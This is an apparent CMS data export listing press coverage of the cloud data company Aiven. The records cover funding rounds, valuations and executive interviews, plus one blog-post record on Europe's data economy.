\n\n","categories":[{"_key":"932964104d93","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Empowering Europe's Data Economy: The Role of Skills and Talent","asset":{"_ref":"image-4da19385245b96c0e7e6adc567887795d7ccd995-1200x630-png","_type":"reference"}},"publishedAt":"2025-01-09T14:42:00.000Z","related":[{"_key":"bbac45ef9dcf","_ref":"ed060249-9434-471e-aa59-4802e435a290","_type":"reference"},{"_key":"d72c2e0232fd","_ref":"0ad4e125-5238-4750-a6d4-0edba23b4856","_type":"reference"},{"_key":"d3a93a34c3d9","_ref":"83e71a0f-722d-481e-8616-00e6b17f6a95","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The data economy may hinge on technology but it is being driven-forward by people. \n","metaImage":{"_type":"mainImage","alt":"Empowering Europe's Data Economy: The Role of Skills and Talent","asset":{"_ref":"image-4da19385245b96c0e7e6adc567887795d7ccd995-1200x630-png","_type":"reference"}},"metaTitle":"Empowering Europe's Data Economy"},"slug":{"_type":"slug","current":"/blog/skills-and-talent-the-fuel-powering-the-europes-data-economy-forward"},"subtitle":"Empowering Europe's Data Economy: The Role of Skills and Talent","title":"Skills and talent - the fuel powering the Europe’s data economy forward"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5PusjxUvst3JaTl5hguWrc","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.theregister.com/2022/05/13/aiven_funding","publishedAt":"2022-05-13T08:00:00.000Z","subtitle":"Demand for PostgreSQL and Kafka driving interest in cloud service, CEO tells The Register","title":"Finnish open-source-as-a-service startup Aiven adds $1bn to valuation"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1Eb3VKVzCI4pbEvdklrlV1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://backendnews.net/managing-advanced-persistent-threats-knowledge-prevention-and-defense/","publishedAt":"2021-09-08T21:00:00.000Z","subtitle":"Want to learn more about how to protect your organization from an APT? Check out this article by our CISO Jamie Arlen. ","title":"Managing advanced persistent threats: Knowledge, Prevention and Defense"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"nsbIMBvAuooROqfdBdTGp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://pulse2.com/aiven-40-million-eric-liaw-joins-board/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven, a startup that combines the best open source technologies with cloud infrastructure, announced it raised $40 million in Series B. And IVP General Partner Eric Liaw is joining the board.","title":"Aiven: $40 Million Funding And Eric Liaw Joins Board"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"25gHjmrUUTyqgfXclzx0J1","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.reuters.com/technology/finlands-aiven-raises-60-mln-2-bln-valuation-2021-10-19/","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Finland-based cloud software firm Aiven has raised $60 million from existing investors World Innovation Lab, IVP and Atomico, giving the firm a valuation of $2 billion, it said on Tuesday.","title":"Reuters: Finland's Aiven raises $60 mln at $2 bln valuation"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3oZFjIALMDJjr8dkn8bOx0","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.ciodive.com/news/microsoft-salesforce-crm-Azure/567375/","publishedAt":"2019-11-14T21:00:00.000Z","subtitle":"Running Salesforce's Marketing Cloud on Azure opens up Microsoft's wealth of development resources, analysts say.","title":"Amid heated cloud war, Microsoft lands competitor Salesforce as a client"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4TWzL41sIW7Jvc82mxn0mY","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.lifewire.com/why-experts-say-open-source-software-is-the-future-5096135","publishedAt":"2021-01-19T22:00:00.000Z","subtitle":"\"Companies are more and more recognizing the importance and usefulness of open source,\" Heikki Nousiainen, chief technology officer at Aiven, told Lifewire. ","title":"Lifewire: Why Experts Say Open Source Software Is the Future"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4qlEybBcgDmLIdgvLnNPDg","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://sifted.eu/articles/saas-soonicorns/","publishedAt":"2021-06-20T21:00:00.000Z","subtitle":"Meet the SaaS startups bidding to become Europe’s next unicorns.","title":"Sifted: Introducing Europe’s SaaS soonicorns "} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4nC2deKwJpqozJaMdTfLs5","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.information-age.com/challenging-misconceptions-around-developer-career-123499275/","publishedAt":"2022-04-29T08:00:00.000Z","subtitle":"Lorna Mitchell, Head of Developer Relations at Aiven, discusses common misconceptions around a developer career that businesses must challenge","title":"Challenging misconceptions around a developer career"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"n6C3BIjgYuXZsHjeax964","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://openuk.uk/wp-content/uploads/2021/07/State-of-Open-Phase-Two.pdf","publishedAt":"2021-07-06T21:00:00.000Z","subtitle":"The creation of OSPO’s is occurring across sectors, and many take an innovative approach to leadership and governance. The report highlights three examples of OSPO’s, including a newly formed OSPO at Aiven.","title":"State of Open by Open UK"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5zEhXOomLp91umbtcbljni","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://digitalanarchist.com/videos/featured-guests/key-national-security-concern-aiven","publishedAt":"2022-02-15T08:00:00.000Z","subtitle":"White House national security adviser Jake Sullivan calls the use of open-source software a “key national security concern” – but Aiven CISO Jamie Arlen begs to differ.","title":"Key National Security Concern – Jamie Arlen, Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4Duk1GNjRQsKCLpKWHp79k","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techradar.com/uk/news/predictions-for-open-source-and-cloud-over-the-months-ahead","publishedAt":"2021-07-10T21:00:00.000Z","subtitle":"Open source predictions from Aiven's CTO Heikki Nousiainen.","title":"TechRadar Pro: Predictions for open source and cloud over the months ahead"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"lTM0pVdgk9qE32yID1fJi","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.infoq.com/articles/microservices-inside-out/","publishedAt":"2021-08-02T21:00:00.000Z","subtitle":"To future-proof your microservices, you have to design them with inbound and outbound APIs where the data flows through and a meta API that describes these APIs.","title":"InfoQ: Turning Microservices Inside-Out"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"AwVUsZ52w6O9UMxp08an6","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://fortune.com/2020/02/06/will-casper-be-the-latest-startup-humbled-by-the-public-markets/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Casper will make its brave, new public market debut today.","title":"Will Casper be the latest startup humbled by the public markets? (Term Sheet)"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3IKI8YcdsNrWQrMFCqPtH8","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://yle.fi/uutiset/3-12145368","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"1,8 miljardin euron hintalapun saanut Aiven nousi yksisarvisten joukkoon","title":"Yle: Suomalaisyhtiö kasvoi hiljaisuudessa arvokkaammaksi kuin Tokmanni, Fiskars tai Ponsse"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4ylbivx6JhV4sFIvzYk23O","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.americaninno.com/boston/funding-boston/vc-funding-update-33-startups-raise-over-1-billion-in-february/","publishedAt":"2020-03-01T21:00:00.000Z","subtitle":"Aiven, a Finnish startup whose U.S. headquarters is in Boston, has raised $40 million in a Series B round.","title":"VC Funding Update: 48 Startups Raise Over $1 Billion in February"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4bZh1lWflBHBFtGJoERFOZ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.computerweekly.com/opinion/The-value-of-Open-Source-in-Europe","publishedAt":"2021-11-23T22:00:00.000Z","subtitle":"Heikki Nousiainen, CTO and co-founder of Aiven, writes how source offers immense benefits across the private and public sector and enables organisations to tap into world-class expertise.","title":"Computer Weekly: The value of open source in Europe"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"56nmRcXJIbq1xWMFQ7i2iK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.hs.fi/visio/art-2000008805307.html","publishedAt":"2022-05-12T08:00:00.000Z","subtitle":"Ohjelmistoyhtiö Aivenin 200 miljoonan euron rahoituskierros on Suomessa kolmanneksi suurin kasvuyrityksen keräämä sijoituspotti. Tämä on yhtiön suunnitelmien mukaan vasta alkua.","title":"Helsingin ytimessä toimii monille tuntematon yritys, jonka arvo on jo kolme miljardia euroa. Nyt yhtiö sai todella suuren rahoituksen."} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"20p7ce4MF7735EfnIWPJDz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2020/02/17/above-the-trend-line-your-industry-rumor-central-for-2-17-2020/","publishedAt":"2020-02-16T21:00:00.000Z","subtitle":"Aiven, a startup that combines the best open source technologies with cloud infrastructure, announced that it has raised $40 million in Series B funding.","title":"“Above the Trend Line” – Your Industry Rumor Central for 2/17/2020"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"ap5yTuBulNY5lpwbjbPhz","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.builtinboston.com/2020/02/05/aiven-raises-40m","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a cloud data platform provider that aims to democratize access to open source technologies, announced Wednesday it raised $40 million in Series B funding.","title":"Aiven Raises $40M Series B to Expand Cloud Database Services"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1B0kfdEtBYHf1mPFNEXT1I","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2020/01/05/building-a-modern-data-pipeline-means-making-big-decisions/","publishedAt":"2020-01-04T21:00:00.000Z","subtitle":"Data pipelines may not be useful unless they connect with where the data is housed — a frustration that engineers know all too well.","title":"Building a Modern Data Pipeline Means Making Big Decisions"} {"__i18n_lang":"en","_createdAt":"2022-09-07T07:28:08Z","_id":"18ZM1Ugc0BFl328nVpdtNQ","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.pandium.com/blogs/building-a-developer-relations-team-interview-with-lorna-mitchell","publishedAt":"2021-08-25T21:00:00.000Z","subtitle":"Lorna Mitchell runs a Developer Relations team at Aiven, a company that manages open source database infrastructure for their clients. She shares her insights on launching a DevRel team, documentation, reporting structure, and how and where to best engage developers.","title":"Pandium: Building a Developer Relations Team"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"3GCwQT0KzYOJUgGPcUuaww","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techradar.com/uk/news/amazon-microsoft-and-google-are-all-ramping-up-open-source-work","publishedAt":"2021-07-19T21:00:00.000Z","subtitle":"According to open source data infrastructure company Aiven, the total number of active contributors to GitHub from the three companies saw a more than three-fold increase in five years.","title":"TechRadar Pro: Amazon, Microsoft, and Google are all ramping up open source work"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"MELJYssfTyezeaSnP1T8R","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://us7.campaign-archive.com/?e=fef8146131\u0026u=25b85319ed833b816410d639b\u0026id=aed719b5ce","publishedAt":"2020-01-05T21:00:00.000Z","subtitle":"In this special guest feature, John Hammink, Developer Advocate at Aiven.io, discusses how there are numerous ways to go about designing and maintaining a viable data pipeline, and there is no silver-bullet solution for every organization.","title":"Weekly Newsletter"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4SGrVoCtXNQWZJuuDuzypp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://pitchbook.com/newsletter/aiven-pulls-in-40m-series-b","publishedAt":"2020-02-06T21:00:00.000Z","subtitle":"Aiven, the provider of an open-source cloud database, has raised $40 million in a round led by IVP. The Helsinki-based business will use the funds to triple its headcount and add new technologies to its database. Aiven secured an €8 million Series A last May.","title":"Aiven pulls in $40M Series B"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"Cw6RcglUSh5BSL4vtAA5G","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.wired.co.uk/article/helsinki-hottest-startups-2021","publishedAt":"2021-08-08T21:00:00.000Z","subtitle":"Investing further in open source is a priority, says co-founder and CEO Oskari Saarenmaa.","title":"Aiven featured in WIRED's list of Europe’s Hottest Startups"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"4KA4sWjhpvmyN8dvtOgfBe","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://app.handelsblatt.com/technik/it-internet/start-up-finanzierung-hyperwachstum-mit-wenig-kapital-woran-man-ausnahme-start-ups-wie-aiven-erkennt/27714044.html?ticket=ST-7391550-oiHJG4x1lSpk0MLvf2nj-cas01.example.org","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Viele IT-Manager begreifen sofort, was Oskari Saarenmaa mit seinem Start-up in einem Altbau-Loft in Helsinki entwickelt hat. ","title":"Handelsblatt: Hyperwachstum mit wenig Kapital: Woran man Ausnahme-Start-ups wie Aiven erkennt"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"tVceohmrWSvDkoH0dn6Qf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://streamsets.com/blog/sources-and-destinations-podcast-episode-5-lorna-mitchell/","publishedAt":"2021-05-03T21:00:00.000Z","subtitle":"Putting garbage in gets you garbage out. No one understands this better than developers. No one understands developers like Lorna Mitchell. ","title":"Sources and Destinations Podcast: Lorna Mitchell"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5i5gLjnVp6VxZyUswxif49","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://areena.yle.fi/1-50621795","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Menestyneimmät suomalaiset startup-yhtiöt ovat nousseet arvoltaan jo miljardiluokkaan.","title":"Yle Uutiset: Kasvuyhtiö Aiven on uusi \"yksisarvinen\""} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2hdNNamuBIZefz0OF5R956","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://insidebigdata.com/2020/03/03/above-the-trend-line-your-industry-rumor-central-for-3-3-2020/","publishedAt":"2020-03-02T21:00:00.000Z","subtitle":"The new people movement category we heard … Aiven, a startup that combines the best open source technologies with cloud infrastructure, announced that Larry Irvin joined the company as the new VP and general manager of its Americas operation.","title":"“Above the Trend Line” – Your Industry Rumor Central for 3/3/2020"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"5rGzVqWfm3TtLFIz1QUIjf","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://cloud7.news/cloud/aiven-raises-40m-to-accelerate-open-source-cloud-platform/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Aiven announced that it has raised $40 million in Series B funding. This brings the total funds raised to $50 million.","title":"Aiven raises $40m to accelerate open-source cloud platform"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"63OXEmcr0rnJs5LDrpamtR","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.handelsblatt.com/technik/it-internet/gaia-x-start-up-aiven-verspricht-einfachen-wechsel-des-cloud-anbieters/27029656.html?ticket=ST-2612161-oneyMmACOQbkxbN3CdyD-ap4","publishedAt":"2021-03-22T21:00:00.000Z","subtitle":"Die europäische Cloud Gaia-X hat Startschwierigkeiten und könnte scheitern. Wieder droht die Abhängigkeit von US-Konzernen. Hilfe kommt aus Helsinki.","title":"Handelsblatt: Start-up Aiven verspricht einfachen Wechsel des Cloud-Anbieters"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"6KNZu2PqykobgnfhoBYgcq","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.venturecapitaljournal.com/aiven-raises-40m-led-by-ivp/","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Helsinki, Finland-based Aiven, which develops cloud infrastructure, announced that it has raised $40 million in a Series B round of funding from IVP and existing investors Earlybird VC and Lifeline Ventures, among others.","title":"Aiven raises $40m led by IVP"} {"__i18n_lang":"en","_createdAt":"2022-09-07T07:28:08Z","_id":"17ZD3dFtqajiJp7nkOWzrA","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.information-age.com/open-source-mental-health-biggest-challenges-facing-developers-123498480/","publishedAt":"2022-01-14T08:00:00.000Z","subtitle":"Josep Prat, Open Source Engineering Manager at Aiven, discusses the mental health challenges facing open source developers. ","title":"Open source and mental health: the biggest challenges facing developers"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1ACmBX5WZxDYqcgz7ORfWt","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.information-age.com/predicting-future-of-cloud-open-source-123496699/","publishedAt":"2021-08-30T21:00:00.000Z","subtitle":"Heikki Nousiainen, CTO of Aiven, provides his predictions for the future of the cloud and open source technology.","title":"InformationAge: Predicting the future of the cloud and open source"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1C3YG2Mjn71qqEJ7PvwVUi","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://mailchi.mp/bostinno/aiven-plans-boston-expansion-with-40m-several-companies-lost-execs-in-january?e=8d659a7e89","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a Finnish startup whose U.S. headquarters is in Boston, has raised $40M in a Series B round. The company’s goal is to combine open-source technologies with cloud infrastructure.","title":"The Beat (Newsletter)"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1EtcBwu887U1ott2Bcm4IT","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.crn.com/slide-shows/applications-os/the-10-coolest-open-source-software-tools-of-2021-so-far-/2","publishedAt":"2021-07-01T21:00:00.000Z","subtitle":"CRN’s list of 10 coolest open-source tools in 2021 so far include python-based restore tooling from Aiven.","title":"CRN: The 10 Coolest Open-Source Software Tools Of 2021 (So Far)"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1T7VxZJkSkqrgXIKdfX6SB","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchitoperations.techtarget.com/news/252496121/Elasticsearch-license-schism-stirs-open-source-funding-fears","publishedAt":"2021-02-08T22:00:00.000Z","subtitle":"\"Our customers expect open source,\" said Heikki Nousiainen, CTO and co-founder at Aiven, a 140-employee startup in Helsinki, that provides open source database and messaging services to approximately 600 customers.","title":"TechTarget: Elasticsearch license schism stirs open source funding fears"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1VhlYbx9F6cKgSb5WdIpTo","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.nasdaq.com/articles/finlands-aiven-raises-%2460-mln-at-%242-bln-valuation-2021-10-19","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"\"While we didn't have an immediate need to raise more capital, we do want to stay ahead of the market and have ambitious plans for the future,\" Chief Executive Oskari Saarenmaa said.","title":"Nasdaq: Finland's Aiven raises $60 mln at $2 bln valuation"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1aSDVnMS1F6Om2QCLYMyGI","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://solutionsreview.com/backup-disaster-recovery/business-continuity-awareness-week-2021-insights-from-the-experts/","publishedAt":"2021-05-19T21:00:00.000Z","subtitle":"James Arlen, CISO at Aiven: \"2020 was the year of ‘unprecedented’ but the key to business continuity is to have a plan in place so an unexpected event doesn’t fully upend business processes.\"","title":"Business Continuity Awareness Week 2021: Insights From the Experts"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1dnqFuIBU8oKuiuZxoi8qd","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"http://www.finsmes.com/2020/02/aiven-raises-40m-in-series-b-funding.html","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven, a Helsinki, Finland-based startup that combines open source technologies with cloud infrastructure, raised $40m in Series B funding.","title":"Aiven Raises $40M in Series B Funding"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1kMrBZhEMb7iymMxXL9UVp","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://searchdatamanagement.techtarget.com/feature/Top-and-bottom-5-Apache-Kafka-use-cases","publishedAt":"2020-05-07T21:00:00.000Z","subtitle":"Apache Kafka has many applications in big data, but what enterprise use cases are the best fit for the tool? Experts discuss where Kafka works best for your data.","title":"Top -- and bottom -- 5 Apache Kafka use cases"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"1qSu0AtbeXCeVOZXM98FX7","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.techrepublic.com/article/the-top-barriers-and-benefits-to-small-businesses-adopting-open-source/","publishedAt":"2020-04-21T21:00:00.000Z","subtitle":"Many of the world's most powerful companies use open source for a variety of tasks but SMBs have been slow to adopt it.","title":"The top barriers and benefits to small businesses adopting open source"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2Bfp58OOHgWEh8E2E2cZqK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cybersecuritydive.com/news/developer-security-gitlab-devsecops/599599/","publishedAt":"2021-05-04T21:00:00.000Z","subtitle":"\"Security people need developers to be more like security people and developers need security people to be more like developers,\" said James Arlen, CISO at Aiven. ","title":"Cybersecurity Dive: Relationships between DevOps, security warms slowly"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2EtWawcdvhhyUtRGC9NLhK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.cybersecuritydive.com/news/developer-security-gitlab-devsecops/599599/","publishedAt":"2021-05-04T21:00:00.000Z","subtitle":"\"Security people need developers to be more like security people and developers need security people to be more like developers,\" said Aiven's CISO James Arlen.","title":"Relationships between DevOps, security warm slowly"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2IJgZOf1T9ovekwj9k1lSY","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://techcrunch.com/2020/02/05/aiven-raises-40m-to-democratize-access-to-open-source-projects-through-managed-cloud-services/?guccounter=1","publishedAt":"2020-02-04T21:00:00.000Z","subtitle":"Aiven — which provides managed, cloud-based services designed to make it easier for businesses to build services on top of open-source projects — is today announcing that it has raised $40 million in funding, a Series B being led by IVP (itself a major player in enterprise software, backing an illustrious list that includes Slack, Dropbox, Datadog, GitHub and HashiCorp).","title":"Aiven raises $40M to democratize access to open-source projects through managed cloud services"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2ISqKC9DSlpdpOTZHC0ehc","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.fastcompany.com/90722810/i-work-a-9-to-5-job-from-a-mountainside-van-heres-how-i-do-it","publishedAt":"2022-02-20T08:00:00.000Z","subtitle":"Laura Tiensuu, Marketing Data and Analytics Manager at Aiven, urges leaders to offer employees this level of flexibility. “It’s the key to staying motivated and giving your best to the company.”","title":"I work a 9-to-5 job from a mountainside van. Here’s how I do it"} {"__i18n_lang":"es","_createdAt":"2022-06-15T22:01:57Z","_id":"2ISqKC9DSlpdpOTZHC0ehc__i18n_es","_rev":"qkpX9b3U0TpOGFQp9C9f6G","_type":"pressNews","_updatedAt":"2022-06-27T09:28:29Z","link":"https://www.fastcompany.com/90722810/i-work-a-9-to-5-job-from-a-mountainside-van-heres-how-i-do-it","publishedAt":"2022-05-20T15:56:25.141Z","subtitle":"Laura Tiensuu, Marketing Data and Analytics Manager at Aiven, urges leaders to offer employees this level of flexibility. “It’s the key to staying motivated and giving your best to the company.”","title":"I work a 9-to-5 job from a mountainside van. Here's how I do it"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2Q2sRVrTAgIb2L39kap1VK","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/","publishedAt":"2020-02-05T21:00:00.000Z","subtitle":"Helsinki-based cloud technology startup Aiven has raised $40 million in Series B funding, thus bringing the total funds raised to $50 million.","title":"Aiven Raises $40 Million In Series B Funding"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2cJgOAPgIWAN6xQPliWPGa","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://www.hs.fi/visio/art-2000008328209.html","publishedAt":"2021-10-18T22:00:00.000Z","subtitle":"Aiven on kasvanut nopeasti ja ylittänyt sijoittajien odotukset. Valuaatio eli markkina-arvo on silti suomalaisittain todella korkea yhtiölle, jonka liikevaihto viime tilikaudella oli vasta 16,7 miljoonaa euroa.","title":"HS Visio: Suomalainen ohjelmisto­kehittäjä Aiven on sijoittajien mukaan jo 1,8 miljardin euron arvoinen"} {"__i18n_lang":"en","_createdAt":"2022-06-15T22:01:57Z","_id":"2gjFajK3ApoXGKWlX3L9gs","_rev":"cEPH2uRN58AU2lp9QO7Jxh","_type":"pressNews","_updatedAt":"2022-09-08T16:10:20Z","link":"https://omny.fm/shows/fashion-is-your-business-a-retail-technology-podca/heikki-nousiainen-of-aiven-open-source-database-an","publishedAt":"2019-09-30T21:00:00.000Z","subtitle":"Data is of growing importance for anyone running a brand in fashion. And commerce requires software and web development just to stay at pace with a fast marketplace.","title":"Heikki Nousiainen of Aiven - Open Source Database and Messaging"} 